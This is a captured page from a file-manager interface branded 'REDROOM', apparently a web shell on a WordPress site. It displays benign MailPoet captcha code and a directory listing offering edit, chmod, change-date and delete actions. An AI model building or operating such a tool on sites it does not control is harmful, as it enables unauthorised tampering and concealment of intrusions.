REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.71 KB
Close
/home/nshryvcy/himaltourism.com/wp-content/plugins/mailpoet/lib/Subscription/Captcha/CaptchaPhrase.php
Text
Base64
<?php // phpcs:ignore SlevomatCodingStandard.TypeHints.DeclareStrictTypes.DeclareStrictTypesMissing namespace MailPoet\Subscription\Captcha; if (!defined('ABSPATH')) exit; use MailPoetVendor\Gregwar\Captcha\PhraseBuilder; class CaptchaPhrase { /** @var CaptchaSession */ private $session; /** @var PhraseBuilder */ private $phraseBuilder; public function __construct( CaptchaSession $session, PhraseBuilder $phraseBuilder = null ) { $this->session = $session; $this->phraseBuilder = $phraseBuilder ? $phraseBuilder : new PhraseBuilder(); } public function getPhrase(): ?string { $storage = $this->session->getCaptchaHash(); return (isset($storage['phrase']) && is_string($storage['phrase'])) ? $storage['phrase'] : null; } public function resetPhrase() { $this->session->setCaptchaHash(null); } public function getPhraseForType(string $type, string $sessionId = null): string { $this->session->init($sessionId); $storage = $this->session->getCaptchaHash(); if (!$storage) { $storage = [ 'phrase' => $this->phraseBuilder->build(), 'total_loaded' => 1, 'loaded_by_types' => [], ]; } if (!isset($storage['loaded_by_types'][$type])) { $storage['loaded_by_types'][$type] = 0; } if ($this->needsToRegenerateCaptcha($storage, $type)) { $storage['phrase'] = $this->phraseBuilder->build(); $storage['total_loaded']++; } $storage['loaded_by_types'][$type]++; $this->session->setCaptchaHash($storage); return $storage['phrase']; } private function needsToRegenerateCaptcha(array $storage, string $type): bool { return $storage['loaded_by_types'][$type] === $storage['total_loaded']; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 1 × Files: 5
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Validator
DIR
-
drwxr-xr-x
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CaptchaConstants.php
521 B
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CaptchaPhrase.php
1.71 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CaptchaRenderer.php
2.75 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CaptchaSession.php
1.56 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
index.php
0 B
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).